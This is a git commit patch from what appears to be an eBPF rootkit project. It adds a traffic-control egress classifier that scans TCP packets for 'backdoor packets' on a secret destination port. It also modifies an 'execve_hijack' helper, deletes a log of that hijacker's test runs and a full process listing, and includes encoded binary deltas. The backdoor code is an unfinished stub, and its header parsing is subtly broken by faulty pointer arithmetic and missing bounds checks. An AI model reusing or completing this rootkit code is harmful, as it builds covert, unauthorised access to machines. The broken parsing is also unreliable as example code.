From c3bffb6f843ab15a56efa3a9a783ed058c71cb34 Mon Sep 17 00:00:00 2001 From: h3xduck Date: Wed, 13 Apr 2022 16:56:17 -0400 Subject: [PATCH] Completed packet parsing at tc hook --- src/ebpf/include/bpf/tc.c | 62 +++--- src/helpers/bash | 0 src/helpers/echo | 406 ------------------------------------ src/helpers/execve_hijack | Bin 42016 -> 42016 bytes src/helpers/execve_hijack.c | 15 +- src/helpers/execve_hijack.o | Bin 9064 -> 9224 bytes src/tc.o | Bin 1016 -> 1120 bytes 7 files changed, 45 insertions(+), 438 deletions(-) delete mode 100644 src/helpers/bash delete mode 100644 src/helpers/echo diff --git a/src/ebpf/include/bpf/tc.c b/src/ebpf/include/bpf/tc.c index 25ff7fa..ece886f 100644 --- a/src/ebpf/include/bpf/tc.c +++ b/src/ebpf/include/bpf/tc.c @@ -1,39 +1,49 @@ #include -#include #include +#include +#include +#include +#include #include #include #include - -struct pkt_ctx_t { - struct cursor *c; - struct ethhdr *eth; - struct iphdr *ipv4; - struct tcphdr *tcp; - struct udphdr *udp; - struct http_req_t *http_req; -}; +#include "../../../common/constants.h" SEC("classifier/egress") int classifier(struct __sk_buff *skb){ - void *data_end = (void *)(unsigned long long)skb->data_end; - void *data = (void *)(unsigned long long)skb->data; - struct ethhdr *eth = data; - bpf_printk("Heey\n"); - if (data + sizeof(struct ethhdr) > data_end) - return TC_ACT_SHOT; - - if (eth->h_proto == ___constant_swab16(ETH_P_IP)) - /* - * Packet processing is not implemented in this sample. Parse - * IPv4 header, possibly push/pop encapsulation headers, update - * header fields, drop or transmit based on network policy, - * collect statistics and store them in a eBPF map... - */ - return 0;//process_packet(skb); - else + void *data = (void *)(__u64)skb->data; + void *data_end = (void *)(__u64)skb->data_end; + bpf_printk("TC egress classifier called\n"); + + //We are interested on parsing TCP/IP packets so let's assume we have one + //Ethernet header + struct ethhdr *eth_hdr = data; + if(eth_hdr->h_proto != htons(ETH_P_IP)){ + //Not an IP packet return TC_ACT_OK; + } + + //IP header + struct iphdr *ip_hdr = (struct iphdr*)data + sizeof(struct ethhdr); + if(ip_hdr->protocol != IPPROTO_TCP){ + return TC_ACT_OK; + } + + //TCP header + struct tcphdr *tcp_hdr = (struct tcphdr *)data + sizeof(struct ethhdr) + sizeof(struct iphdr); + + //We now proceed to scan for our backdoor packets + + __u16 dest_port = ntohs(tcp_hdr->dest); + if(dest_port != SECRET_PACKET_DEST_PORT){ + return TC_ACT_OK; + } + + + + return TC_ACT_OK; + } char _license[4] SEC("license") = "GPL"; \ No newline at end of file diff --git a/src/helpers/bash b/src/helpers/bash deleted file mode 100644 index e69de29..0000000 diff --git a/src/helpers/echo b/src/helpers/echo deleted file mode 100644 index 38e17c9..0000000 --- a/src/helpers/echo +++ /dev/null @@ -1,406 +0,0 @@ -exec -a ./execve_hijack /usr/bin/ls -l -a -exec -a ./execve_hijack /usr/bin/ls -l -a -total 84 -drwxrwxr-x 3 osboxes osboxes 4096 Apr 13 07:00 . -drwxrwxr-x 12 osboxes osboxes 4096 Apr 13 06:24 .. --rw-rw-r-- 1 osboxes osboxes 0 Apr 13 06:59 bash --rw-rw-r-- 1 osboxes osboxes 84 Apr 13 06:59 echo --rwxrwxr-x 1 osboxes osboxes 42016 Apr 13 06:58 execve_hijack --rw-rw-r-- 1 osboxes osboxes 5648 Apr 13 06:58 execve_hijack.c --rw-rw-r-- 1 osboxes osboxes 8872 Apr 13 06:58 execve_hijack.o -drwxrwxr-x 2 osboxes osboxes 4096 Feb 18 03:11 lib --rw-rw-r-- 1 osboxes osboxes 329 Apr 11 05:54 Makefile -Hello world from execve hijacker -Argument 0 is ./execve_hijack -Argument 1 is , -hijacking ARGS0: , -hijacking ARGS1: , -hijacking ARGS2: (null) -Hello world from execve hijacker -Argument 0 is ./execve_hijack -Argument 1 is -l -Argument 2 is -a -hijacking ARGS0: -l -hijacking ARGS1: -l -hijacking ARGS2: -a -hijacking ARGS3: (null) - PID TTY TIME CMD - 250918 pts/8 00:00:00 bash - 251961 pts/8 00:00:00 bash - 252541 pts/8 00:00:00 ps -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND -root 1 0.0 0.1 166252 7748 ? Ss Apr10 0:10 /sbin/init splash -root 2 0.0 0.0 0 0 ? S Apr10 0:00 [kthreadd] -root 3 0.0 0.0 0 0 ? I< Apr10 0:00 [rcu_gp] -root 4 0.0 0.0 0 0 ? I< Apr10 0:00 [rcu_par_gp] -root 6 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/0:0H-events_highpri] -root 9 0.0 0.0 0 0 ? I< Apr10 0:00 [mm_percpu_wq] -root 10 0.0 0.0 0 0 ? S Apr10 0:00 [rcu_tasks_rude_] -root 11 0.0 0.0 0 0 ? S Apr10 0:00 [rcu_tasks_trace] -root 12 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/0] -root 13 0.0 0.0 0 0 ? I Apr10 1:59 [rcu_sched] -root 14 0.0 0.0 0 0 ? S Apr10 0:01 [migration/0] -root 15 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/0] -root 16 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/0] -root 17 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/1] -root 18 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/1] -root 19 0.0 0.0 0 0 ? S Apr10 0:01 [migration/1] -root 20 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/1] -root 22 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/1:0H-events_highpri] -root 23 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/2] -root 24 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/2] -root 25 0.0 0.0 0 0 ? S Apr10 0:01 [migration/2] -root 26 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/2] -root 28 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/2:0H-events_highpri] -root 29 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/3] -root 30 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/3] -root 31 0.0 0.0 0 0 ? S Apr10 0:01 [migration/3] -root 32 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/3] -root 34 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/3:0H-events_highpri] -root 35 0.0 0.0 0 0 ? S Apr10 0:00 [kdevtmpfs] -root 36 0.0 0.0 0 0 ? I< Apr10 0:00 [netns] -root 37 0.0 0.0 0 0 ? I< Apr10 0:00 [inet_frag_wq] -root 38 0.0 0.0 0 0 ? S Apr10 0:00 [kauditd] -root 39 0.0 0.0 0 0 ? S Apr10 0:00 [khungtaskd] -root 40 0.0 0.0 0 0 ? S Apr10 0:00 [oom_reaper] -root 41 0.0 0.0 0 0 ? I< Apr10 0:00 [writeback] -root 42 0.0 0.0 0 0 ? S Apr10 0:08 [kcompactd0] -root 43 0.0 0.0 0 0 ? SN Apr10 0:00 [ksmd] -root 44 0.0 0.0 0 0 ? SN Apr10 0:00 [khugepaged] -root 90 0.0 0.0 0 0 ? I< Apr10 0:00 [kintegrityd] -root 91 0.0 0.0 0 0 ? I< Apr10 0:00 [kblockd] -root 92 0.0 0.0 0 0 ? I< Apr10 0:00 [blkcg_punt_bio] -root 93 0.0 0.0 0 0 ? I< Apr10 0:00 [tpm_dev_wq] -root 94 0.0 0.0 0 0 ? I< Apr10 0:00 [ata_sff] -root 95 0.0 0.0 0 0 ? I< Apr10 0:00 [md] -root 96 0.0 0.0 0 0 ? I< Apr10 0:00 [edac-poller] -root 97 0.0 0.0 0 0 ? I< Apr10 0:00 [devfreq_wq] -root 99 0.0 0.0 0 0 ? S Apr10 0:00 [watchdogd] -root 102 0.0 0.0 0 0 ? I< Apr10 0:04 [kworker/1:1H-kblockd] -root 104 0.0 0.0 0 0 ? S Apr10 0:34 [kswapd0] -root 105 0.0 0.0 0 0 ? S Apr10 0:00 [ecryptfs-kthrea] -root 107 0.0 0.0 0 0 ? I< Apr10 0:00 [kthrotld] -root 108 0.0 0.0 0 0 ? I< Apr10 0:00 [acpi_thermal_pm] -root 109 0.0 0.0 0 0 ? S Apr10 0:00 [scsi_eh_0] -root 110 0.0 0.0 0 0 ? I< Apr10 0:00 [scsi_tmf_0] -root 111 0.0 0.0 0 0 ? S Apr10 0:00 [scsi_eh_1] -root 112 0.0 0.0 0 0 ? I< Apr10 0:00 [scsi_tmf_1] -root 114 0.0 0.0 0 0 ? I< Apr10 0:00 [vfio-irqfd-clea] -root 116 0.0 0.0 0 0 ? I< Apr10 0:00 [ipv6_addrconf] -root 117 0.0 0.0 0 0 ? I< Apr10 0:03 [kworker/0:1H-kblockd] -root 126 0.0 0.0 0 0 ? I< Apr10 0:00 [kstrp] -root 129 0.0 0.0 0 0 ? I< Apr10 0:00 [zswap-shrink] -root 130 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/u9:0] -root 135 0.0 0.0 0 0 ? I< Apr10 0:00 [charger_manager] -root 185 0.0 0.0 0 0 ? I< Apr10 0:05 [kworker/3:1H-kblockd] -root 187 0.0 0.0 0 0 ? S Apr10 0:00 [scsi_eh_2] -root 188 0.0 0.0 0 0 ? I< Apr10 0:00 [scsi_tmf_2] -root 190 0.0 0.0 0 0 ? I< Apr10 0:10 [kworker/2:1H-kblockd] -root 222 0.0 0.0 0 0 ? S Apr10 0:03 [jbd2/sda1-8] -root 223 0.0 0.0 0 0 ? I< Apr10 0:00 [ext4-rsv-conver] -root 293 0.0 0.0 23716 2576 ? Ss Apr10 0:00 /lib/systemd/systemd-udevd -root 294 0.0 0.0 0 0 ? S Apr10 0:22 [irq/18-vmwgfx] -root 295 0.0 0.0 0 0 ? I< Apr10 0:00 [ttm_swap] -root 296 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc0] -root 297 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc1] -root 298 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc2] -root 299 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc3] -root 300 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc4] -root 301 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc5] -root 302 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc6] -root 303 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc7] -root 309 0.0 0.0 0 0 ? S< Apr10 0:00 [loop0] -root 323 0.0 0.0 0 0 ? S< Apr10 0:00 [loop1] -root 341 0.0 0.0 0 0 ? S< Apr10 0:00 [loop2] -root 342 0.0 0.0 0 0 ? S< Apr10 0:00 [loop3] -root 353 0.0 0.0 0 0 ? S< Apr10 0:00 [loop4] -root 354 0.0 0.0 0 0 ? S< Apr10 0:00 [loop5] -root 355 0.0 0.0 0 0 ? S< Apr10 0:00 [loop6] -root 361 0.0 0.0 0 0 ? S< Apr10 0:00 [loop7] -root 363 0.0 0.0 0 0 ? I< Apr10 0:00 [iprt-VBoxWQueue] -root 385 0.0 0.0 0 0 ? S< Apr10 0:00 [loop8] -root 390 0.0 0.0 0 0 ? I< Apr10 0:00 [cryptd] -root 477 0.0 0.0 0 0 ? S< Apr10 0:00 [loop9] -root 558 0.0 0.0 0 0 ? S< Apr10 0:00 [loop10] -root 587 0.0 0.0 0 0 ? S< Apr10 0:00 [loop11] -root 588 0.0 0.0 0 0 ? S< Apr10 0:00 [loop12] -root 591 0.0 0.0 0 0 ? S< Apr10 0:00 [loop14] -root 593 0.0 0.0 0 0 ? S Apr10 0:08 [jbd2/sda4-8] -root 594 0.0 0.0 0 0 ? I< Apr10 0:00 [ext4-rsv-conver] -systemd+ 616 0.0 0.0 24760 3936 ? Ss Apr10 0:09 /lib/systemd/systemd-resolved -systemd+ 617 0.0 0.0 88452 2308 ? Ssl Apr10 0:00 /lib/systemd/systemd-timesyncd -root 644 0.0 0.0 249148 3568 ? Ssl Apr10 0:05 /usr/lib/accountsservice/accounts-daemon -root 645 0.0 0.0 2556 640 ? Ss Apr10 0:09 /usr/sbin/acpid -avahi 648 0.0 0.0 7388 1876 ? Ss Apr10 0:00 avahi-daemon: running [osboxes.local] -root 649 0.0 0.0 18128 1820 ? Ss Apr10 0:01 /usr/sbin/cron -f -P -message+ 650 0.0 0.0 10940 4328 ? Ss Apr10 0:31 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only -root 652 0.0 0.1 493716 7728 ? Ssl Apr10 0:40 /usr/sbin/NetworkManager --no-daemon -root 659 0.0 0.0 82848 2464 ? Ssl Apr10 0:07 /usr/sbin/irqbalance --foreground -root 663 0.0 0.0 48180 3148 ? Ss Apr10 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers -root 664 0.0 0.1 251896 7664 ? Ssl Apr10 0:06 /usr/libexec/polkitd --no-debug -root 680 0.0 0.0 245860 3420 ? Ssl Apr10 0:00 /usr/libexec/power-profiles-daemon -syslog 685 0.0 0.0 221216 2216 ? Ssl Apr10 0:03 /usr/sbin/rsyslogd -n -iNONE -root 688 0.0 0.0 245672 3180 ? Ssl Apr10 0:00 /usr/libexec/switcheroo-control -root 689 0.0 0.0 22140 4056 ? Ss Apr10 0:01 /lib/systemd/systemd-logind -root 690 0.0 0.0 394264 5620 ? Ssl Apr10 0:00 /usr/libexec/udisks2/udisksd -root 692 0.0 0.0 14740 1176 ? Ss Apr10 0:01 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant -avahi 697 0.0 0.0 7252 136 ? S Apr10 0:00 avahi-daemon: chroot helper -root 745 0.0 0.0 316740 3448 ? Ssl Apr10 0:00 /usr/sbin/ModemManager -root 800 0.0 0.0 126288 3336 ? Ssl Apr10 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal -whoopsie 826 0.0 0.0 328480 5412 ? Ssl Apr10 0:00 /usr/bin/whoopsie -f -kernoops 827 0.0 0.0 13528 112 ? Ss Apr10 0:00 /usr/sbin/kerneloops --test -kernoops 829 0.0 0.0 13528 136 ? Ss Apr10 0:00 /usr/sbin/kerneloops -root 1017 0.0 0.0 370556 1584 ? Sl Apr10 0:32 /usr/sbin/VBoxService --pidfile /var/run/vboxadd-service.sh -root 1028 0.0 0.0 250400 3648 ? Ssl Apr10 0:00 /usr/sbin/gdm3 -rtkit 1057 0.0 0.0 153848 1856 ? SNsl Apr10 0:03 /usr/libexec/rtkit-daemon -root 1138 0.0 0.0 258424 3556 ? Ssl Apr10 0:02 /usr/libexec/upowerd -root 1227 0.0 0.0 307228 4772 ? Ssl Apr10 0:01 /usr/libexec/packagekitd -colord 1364 0.0 0.0 254356 5076 ? Ssl Apr10 0:00 /usr/libexec/colord -root 1429 0.0 0.0 180024 4740 ? Sl Apr10 0:00 gdm-session-worker [pam/gdm-password] -osboxes 1434 0.0 0.0 16300 5664 ? Ss Apr10 0:02 /lib/systemd/systemd --user -osboxes 1435 0.0 0.0 102744 312 ? S Apr10 0:00 (sd-pam) -osboxes 1441 0.0 0.0 90680 1908 ? SnhMqUh|elD8=pv$b=z#0 zMd)eNI;moZ)Yy`dxcC@Tg(?OZorYMS3DyUK7X`$qktoUS_wNOw)9IaI&;OruzVAHu zvXxCjWs^|j&X2el#yOvhj#2zu!kGJCZ$2o_XefHxCyzUswR-F1y&I-FN?klg`$T9t zPPC6a7|cYN-J`o3;3e9nzG217WMmSSi>7-*kNS28y7S=SM(&@4+zlfO65OW))mjM~Dj8wRc z3RegW=w%3y2#^A$h@zkQI4f~#E%he-i=@E{w7rk|RcgPn%I#F2EGv`x>KTn!M+AjH zfo}96Gtv45CVU}$aF#%>Qfq|6;bc_@@!hmv9UZ^V6CuqF@s|3Hn9B22M*xSMx}OY| zfJ;pu@fzLq5SUoLAA3XEQ&hN0AHYwv8OyN)9IMKv2>V380p|=>ven|Ql>7tMwT?|r zilZWpPIVr4MmZblqjU{uzko^_L)98>!bu#JDmOX9C@gUAQ1;6gq$k<5>NsD3+MiIr zCXs)S;sPg4GYofD=qsAL++|aXY-*BC^|I-hY^sqSjBwgm^%GvK{vExu`jqdUtDd8p zz_BsMA3LjKAz8wI$JKn|3fj&2YfgHndQ0Y1q@(}H4xvT#(2 z`I2FcmAuVZImKAIrBV9vF;UPppG7*>3}3XfMzoJzNF~9l*mck;s81iU1YokIx{KCR z&braA*M}TRsUdil=cCX;fPr+{i6xD=OY49|vHtKs!|r-yP=`unX&x)f+A0-6T8&la z;wo;V7u-H$ZvB8UjpD(&r)ho-2kFaTFN(TEdENhmwqhNm7GTNivt6K*mY=O3X>j9!(XY z8vfVxY3Q7Y|7f9j4+M2Qb32NY&Dd(L4_Rt8_V^q%_OO|SQnW7krNjqF)m+@inOHmi z!GLi?z$G||wwzuxy6?Cbs6^|(81&B%s6?m6YVFnq@{8%HP8YH7K65qpG4qEwmp7k& z=o9=jPqemU=X~psA}3{&tPAzbf?2tTP>ep552hS_qW80&p9t>vkX`=@zmA&p@#-wR zqa}OqU@@n05^cr4($gLq9X6i#q2#a-a1?|kd0UkvjMn|=lCAJxF_1fgg**3*sXaWpzAhu=&KqM|hCL18u4nu}{WAL|Y_27Ag5=HGdb zE=PyZ>8Ls(>Mq@nNnz!VpQh`+>m=`N!1#wEEC>K%5iCOy(xY>Pj80k@6{*?N`M)9F zWPrn+2yrvu^*g{>PhrCN-;#s(n{yA&bx=!8kZ|G-i!JnYkRdk3>%RYB=@&a_eeB!X zx&u^s@hBx^b z3W+lat+y#RPAi;kqoO#Cu;(_F#myCFx6#Ulfp5hn9acTLP z)=O!5nbyZ?v(v2od7^!SE7Y^H$N#|Ip;C#%JL!GTL#gk&mi+vxEVrW5kFUwHm%wql z>#`gR*#wylS&IzTLi*jp*8*}2WG&==$P17++hq9>q+5q92e@$DT1l3ZA!{M$L+UWI zZIBbO233&fAR8d(V_R;!aM2uF8&_A3TZRn|gPehFe+}|FA_gsi|Km4p1z0SEU7ZId^^3Ip~q)IhF%xjjszLe zU>chh<}j#Mp%c07^p}hXeg`!JXr;~!t-wj-AqER;C5jevOjY1NYJrZ9Cyf-J`?BMKKA?u3(5dC z+Gk&n)~L$jSR1m+rVFAQ?Jhf_8f>l~sM+&N>>We2(emvXteivJ3x(Vy8eLw7O81qI zQxEq3jsoD84a7iS&zBn#Hw7tr=K|xHh2$BbD_bi(T?2s@4CvAG#0mpiy09XSb?Ofl o=_>bl#kX7$+&2Thy^aSJGe!zVElu5P7|}G)ohHY|z58AN3#gJpHUIzs delta 3222 zcmZuz3s6+&6~6cK77$QGme;~AZNhIqRP^d79c8Eo{QEYs7+4eJB;(8X!Q~-a@9w8BoNKtA?)hoQNW*x;LrFp zbLA~1P0znVN^_8Za6Df}(}Pt36eV}J1ei*Clpgw+-VWBx zw!*|ZsUHhz)o;VrG5Cn(HdNzWIo7X55!STL!_Eg88RiOig^X3u+U4Tw=yI?|HGSCY zUq}a1f&rVtV7HJeM4dbdOQnw^5iL`5MwzMtwsUJ8wK zLy@NAzM`qmT`D;vm9$AEEmFy0sie`-M*|@$<26tKto;w4>vS#h$o${Zqm@8bG+bif zf-OtOwt?81j&`t7^(mhUF-lazquSVsdRnp_@3=~bLnnnE!cysD8Vfbl^A z%ZAF0t&Y_XYs0#H&S)63z96zuv`+Yr`odIR-OwpPL4)L{p5SR8RXnC-^?c8Q(f!A? zU7c2zioK)z0V8rl0EpDFef6Lu*-^LTIDwUD?sQy+G#eUBr47o18^+vi05x-QD47N9m#^ziqiVDI_WuZtuA`x=F2B6g`Kz z-3P3lO@bp1!4^ZOsU>`c+0gHE$k5L!C92beO>F>}Xeu4zN*F&0EO7T|;15`dmb^P? zZs>>?pzw-dp+5KMt|o}TPhQ#({sP5mHPPem$Q%qYvm4gc?cd(_3H!+?nr~p-eC+_{ z9LK0w8{zr&01A`$we*QLg0CjKRyTGnv@8z;C>S6~o6g^$^vI;3ukrGANPtwDNn-_D zN_`z`2BEFYfN&$DQL~$ zwX~Dlz)YUZ^f|T1L`?9)Qkm3rI9UuGNL)=)OrUemElHy3@d1<^tDabOn;{%9l^&2v z-UNbcFc3U$)5r0lR34ir+`dI_lVXBr%83q|N)K{A<{j)Dta^9m`bHn+ObVy8IJ>ax zCKXK93#WRiezHI1#J?oGd5gBhk9R#A2*>lZD}FWqCAm(D4fegslD>#`jyc8L1lpCU z$9urA`5PPtJ~VlFjmc;J3bc3~xwRVhvY|4S?!}X?V^6x_0Gdm5$m!qeL3+Jk!NigF zvk_)7JV3`2$Z5(Fb#e;c;l_jb2s{d4^VF)a^ghdJG3=%4*jQ?qa)AGW<|d@`pHXGP zEJ3_M9SIBhJCvCC8~zijO-#s`eM6a+6B!<^Y-&zqxN{inK2wXo&!HC7qrc7^j6*BT zGsZ9pr*3=+>;juZ-y5|_i-i-{s4FFhK1-S-ynNj@m~@&KR$V1)LL}YP1qXOsRWht- z&2YurH2ECj(ymZ&$}jk@XhF&!g;%=~Uaa#`XK-xNGZ*Dr^(H)qnG18w7cz}G=E2Mb zndYZP(K_WlsORU#{g1tP9Rs#asarkiPU<^N8JnHUzVDEvPB3cfk|Zxw*LYcyCPOa# zQIc{YXIzn_cOZ8|Rzr?KT?Zl4AkRUryCz8wAPI~FI&s`HFgXo!hC`Bm4cXW$N#&5= z;?x@;mtg*mL*9hE?!?7&Q5Y^~XO4S_S&W42!gDYal0A^iAsZmeA^j=Na4GK+R-9q1 z?>6C8Z&#6h7B-1D=wnj<*cnG9#7j1O25 z92be-8ZdGBI{h^}nvbM*1Wu&hY_(9;Lu14+;aLyGi($NqazwRovX@ptS96p81RYQN zL^U5s?P4~cVe`w`>BKL#?aQrm8e@-Oxj3%Lnf@sRP~jZkF~#`rz^--|S@mbA(isW3 zns{0DZ>ajFD5@+aa1bh;PEqYwyrSl+1bc)nW9}0tK8vOqlZCD*T4zk+H&MMYL#Wl# zRpWnzJ`FW4oCQaEy0Doqw%Hctxd^A@NXR#$mBsma!rx zB5CuPhLbCy}N|$48T~Xt}T>k-jR*7o-FVTD1(0RJN*u z*V$ZFuj7S%DfIg_3y|Z~nx)XiuRY?<%KdLihJZ3+{?I5OS;zZko+VheF;{?7tqW+yU1;1Yi4TIPFDhcemsW6rxFXcHMq5+C zdR!{FDB)sP^#Wd+%cA^yOvjw$9{~G0*He z)6Av#vg2G}E^RLGjpw>yp(`Yv3`>yCku(QYj`KI3M2zLI6X|+FbwW?WWu#9m$(v+y zO3>&O(FzWc9KflPcS>Cpi$_(pH;ex&FwXUxS!fqjAbpgD4nQ^1H-r|FPJTiw=M^J_ z(mn&CaU818g)er zT)!;XND4xvpw_a1^2f6H&%kA!>lX<%NZL&pKzf%@+T1f>0sKJ_N-uo~Dgrz@Lg*-x zJWDKahzs@NR0pmhI(ZUU>KhVGoRmt5_QRcxY(=l)|O3PsgajYVKdfxp|U&!@Cgwpe#f_9`ahnb-==gZ6n_<;1Bh3=5_I{1pX-kpW^ z30ha^{5M(EPLjGf9qng>#os9R+D!bDutwedR*Sz?`gfQ*ye{(T`$?^6R@F8DE9UwM zOTsmoa0UkObXQ1i8L7Pm)mYm>C_P0Nv?A>#l)jPY(2Mjfp|q<9FkH;*9_Hg_IIQ;* zaGAP#Qy*ow6QyqT*ASiFTg;O4TjuODbvP3A>5Zh8c6bchgIqspNth;D!f_Tp1Uc(~ zU%~B~FAr)<-m!j&hUVorjWZ49E;t&Rt2qi_z&#!YL*?qxZ)6^q8kO2=H#8WPY!CDr qVYU}oX_&Ra68yXe^`&8Lu?HTOR%-sSpiQXE_lC^imaodksDVHrMg+3Hq`#@QrREUU($mk(T$e{<;Wv zY*|)*Uft#`cDyJmbGel@D4i0WU}PcW3pj^`4(Vt(x6}8El^7<3mte}ra~=N8tYoCv zNLRAC;fm)D?Kd-TaUaEjtHHcgoX}UrwV;qOEZS<`Dp43ix>i!r8OJrhXhst9NVgNJ z5jq5Z&b3Fj%6nwxrv_!B6%0|i8kbdh17y(KRDia_6w)09=zd@Uu5}X{B$Y2hU4Zwd z38nj9m%4QhL+BJSULgM-(Zvi_{~w6Hg6MOmo>)5QVNo4}2{(rLsla6w3d46CrisuH zp$9rn&`~+;N=2|_WI;qwKN04qMls2~yGDy1#rH6hJrmA^c zno#jBSqJx+=;cJ8Cpvvd0jLXNpYnCIKcoie3Uby85AeDh(s(^&T>FL6c2&B>>}6!H zH@0d;^6k!(d^)ce^c7s=E-Zl|s?mAl(1{ekGe%e)Zjv=Cp%3X=8|{&_0mhJa6rj5d zdZPfnEoj?}jh>a2e@I<)yAqdm{tLGJw9I$Fkr3CsCFT^uB@!)HC1jAUl+>DWM0yj3 zcRlge5^oY%n6ni4L!7lkT^PT4B$J-=Ug$!4kWkt~E2NQjc>Z-rpTel1ZP@~Jj_C9> z)KasWHPO7B$OU?YYko=XrxAosq%oU!wJ3s73w;sJw!v`ZusTuFriHS!*V&x4O zy2GP%WP}L@P_R=wJsna9ES>EC@9aC@U2?ZyKgd}Yh*|InV=-clZj~qWB?nP0jZ@*>yWY1B=&qEdU?P1DkU9!mjPW8*v zNEeY0lO!2nKP!mtaZKYFjHcm%y*OH%)}_5^U+RteqMqTfQJ1`V4y>DFDBaFlbEqpk zBS~LF~IexKSL&-WmGqZtBCUmKS@3t8R6hcl*DqVd>vf1HAJ4 zo*GLt&M0Xb^v1f?bfLv^e}ak_OsbcAmHd(f>>FIaW$+Bb5Pb*gAsVBYs6i8J3pYSvX$T2wK|zc?Igdq&pyuuhF(%U3)7a~Opx4UU zzhWhY$vLyP3zscyoMi6Jd-Jio*}cbl<0#`eFy`PJGiFp^k`k**t|CX3-bPa~Z?mCr zOm%sRu8Kb~3(QZX9QehF;%~323@+)DIF82|V1cA3az@t$RtU%BRD%5r{wAEUP0q?Q z6EdEi$8j@R9av3dIQOT>JuErP#J9BT6ow}F1NSI5hcC6~blIUI8Qi8t9cMv@v8+IR zjV2j05gikSRQ*sF>}cdOW;qs-yo=!XyfEx`x-vkk*Y)LfC?Nvb6Y{dv3B0~UCx+$sYMErl0=>wqMjMLF51c